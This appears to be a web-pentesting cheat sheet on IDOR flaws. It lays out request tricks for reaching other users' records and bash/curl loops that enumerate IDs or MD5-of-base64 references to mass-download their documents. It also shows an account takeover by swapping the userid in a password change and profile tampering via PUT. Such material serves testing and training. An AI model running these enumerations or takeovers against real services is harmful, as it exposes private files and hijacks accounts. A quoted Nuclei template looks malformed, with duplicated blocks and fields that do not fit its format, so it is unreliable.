IDOR
Detection
?uid=1
or ?filename=file_1.pdf
?filename=ZmlsZV8xMjMucGRm
base64 for file_123.pdf
download.php?filename=c81e728d9d4c2f636f067f89cc14862c
$.ajax({
url:"download.php",
type: "post",
dataType: "json",
data: {filename: CryptoJS.MD5('file_1.pdf').toString()},
success:function(result){
//
}
});
=> MD5 - See Cracking - Hashes to identify hash types
GET /deals?deal_id=[ID]

IDOR is NOT ONLY on id
If the serverโs response includes sensitive identifiers like id, email, or phone_number in a structured format (e.g., JSON), these could be potential entry points for exploitation.
GET /example?id=124
GET /example?email=victim@example.com
GET /example?phone_number=0987654321
GET /api/resource/1
GET /user/account/find?user_id=15
POST /company/account/Microsoft/balance
POST /admin/pwreset/account/90
Try
GET /api/resource/3
GET /user/account/find?user_id=23
POST /company/account/Google/balance
POST /admin/pwreset/account/111

Double ID
Victim's ID: 5200
Attacker's ID: 5233
GET /api/users/5200/info โ Access Denied
GET /api/users/5200,5233/info โ Bypassed
Wildcard
Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.
GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1
Nuclei Template
Credit: @coffinxp7
https://raw.githubusercontent.com/coffinxp/priv8-Nuclei/refs/heads/main/idor-scan.yaml
id: idor-scan
info:
name: IDOR Scan
author: coffin
severity: high
description: Scan for potential IDOR vulnerabilities
reference: https://example.com
tags:
- idor
- scan
- nuclei
flags:
- severity: high
templates:
- id: idor-endpoint-scan
info:
name: IDOR Endpoint Scan
severity: high
description: Scan for potential IDOR vulnerabilities in endpoints
tags:
- idor
- endpoint
requests:
- method: GET
path: "{{BaseURL}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "id="
- "uid="
- "gid="
- "user="
- "account="
- "number="
- "order="
- "no="
- "doc="
- "file="
- "key="
- "email="
- "group="
- "profile="
- "edit="
- "report="
matchers:
- type: word
part: body
words:
- "id="
- "uid="
- "gid="
- "user="
- "account="
- "number="
- "order="
- "no="
- "doc="
- "file="
- "key="
- "email="
- "group="
- "profile="
- "edit="
- "report="
exclude:
- "^http://"
path-output: "{{BaseURL}}/{{FuzzID}}"
ignore-conds:
- match-case: false
condition: false
selectors:
- type: regex
scope: page
regex: "(https:\\/\\/[^\\s]+)"
group: 1
retries: 2
Bypass 403
Bypass 403 / 401/api/67898555007/users -> 403
/api//users
/api\\users
/api/v1/user/id -> 403
/api/vl/user/id.json
/api/vl/user/id?
/api/vl/user/id/
/api/v2/user/id
/api/vl/user/id&accountdetail
/api/v1/user/yourid&victimid
X-Original-Url: /api/v1/user/id
Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.
GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1
Try plural form: users/*
instead of user/*
UUID
Unpredictable UUID
Extract from Waybackmachine, virustotal, URLScan, etc.
Extract UUIDs from waybackurls
script.py
#!/usr/bin/env python3
import re
import sys
def uuid_grep():
uuid_regex = re.compile(r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')
for line in sys.stdin:
match = uuid_regex.search(line)
if match:
print(match.group(0))
if __name__ == "__main__":
uuid_grep()
# Option 1
waybackurls hackerone.com | python3 script.py
# Option 2
cat waybackurls.txt | python3 script.py
UUID Version 1
Insecure UUIDChange the UUID value type
When testing the API field with UUID type, try to change the UUID value type to ID or even an Email
/api/user/a8ae-1322-ac09-8f90
/api/user/1
/api/user/user@company .com
Source: https://x.com/therceman/status/1929620937772560750
Mass IDOR Enumeration
/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf
Predictable name => fuzz
documents.php?uid=1
=> fuzz uid to discover new docs
Mass Enumeration
curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"
/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf
Automation - GET request
#!/bin/bash
url="http://SERVER_IP:PORT"
for i in {1..10}; do
for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
wget -q $url/$link
done
done
Automation - POST request
#!/bin/bash
# Loop through UIDs from 1 to 10
for ((uid=1; uid<=10; uid++)); do
echo "UID $uid document links:"
curl -s -X POST http://94.237.53.169:45464/documents.php --data "uid=$uid" | awk -F "href='/documents/" '{for(i=2; i<=NF; i++){print $i}}' | awk -F "'" '{print $1}'
echo -e "\n" # Add a newline for clarity between responses
done
Bypassing Encoded References

contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
echo -n 1 | md5sum
c4ca4238a0b923820dcc509a6f75849b -
not match...
Function Disclosure
javascript:downloadContract('1')
function downloadContract(uid) {
$.redirect("/download.php", {
contract: CryptoJS.MD5(btoa(uid)).toString(),
}, "POST", "_self");
}
echo -n 1 | base64 -w 0 | md5sum
cdd96d3cc73d1dbdaffa03cc6cd7339b -
match
Tip: We are using the -n
flag with echo
, and the -w 0
flag with base64
, to avoid adding newlines, in order to be able to calculate the md5
hash of the same value, without hashing newlines, as that would change the final md5
hash.
Mass Enumeration
$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
8b9af1f7f76daf0f02bd9c48c4a2e3d0
006d1236aee3f92b8322299796ba1989
b523ff8d1ced96cef9c86492e790c2fb
d477819d240e7d3dd9499ed8d23e7158
3e57e65a34ffcb2e93cb545d024f5bde
5d4aace023dc088767b4e08c79415dcd
#!/bin/bash
for i in {1..10}; do
for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
done
done
$ bash ./exploit.sh
$ ls -1
contract_006d1236aee3f92b8322299796ba1989.pdf
contract_0b24df25fe628797b3a50ae0724d2730.pdf
contract_0b7e7dee87b1c3b98e72131173dfbbbf.pdf
contract_3e57e65a34ffcb2e93cb545d024f5bde.pdf
contract_5d4aace023dc088767b4e08c79415dcd.pdf
contract_8b9af1f7f76daf0f02bd9c48c4a2e3d0.pdf
contract_b523ff8d1ced96cef9c86492e790c2fb.pdf
contract_cdd96d3cc73d1dbdaffa03cc6cd7339b.pdf
contract_d477819d240e7d3dd9499ed8d23e7158.pdf
contract_f7947d50da7a043693a592b4db43b0a1.pdf
IDOR in Insecure APIs
PUT /profile/api.php/profile/1
{
"uid": 1,
"uuid": "40f5888b67c748df7efba008e7c2f9d2",
"role": "employee",
"full_name": "Amy Lindon",
"email": "a_lindon@employees.htb",
"about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}
Try to change uid or role
Try HTTP verbs
Information Disclosure
Change id

Modifying Other Users' Details
Use id 2 and uuid diclosed to change user info via PUT request
One type of attack is modifying a user's email address
and then requesting a password reset link, which will be sent to the email address we specified, thus allowing us to take control over their account. Another potential attack is placing an XSS payload in the 'about' field
Role in URL
DELETE /identity/api/v2/user/videos/778
Response: "This is an admin function try to access the admin API"
DELETE /identity/api/v2/admin/videos/778
Response: 200 OK
Parameter pollution

Depreciated API versions

JSON globbing

APIs that use static keywords

Second-order IDOR

Account Takeover
POST /changepassword.php HTTP/1.1
Host: site.com
...
userid=500&password=heked123
500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
Tools
Interesting Books
Interesting BooksThe Web Application Hackerโs Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Resources
Last updated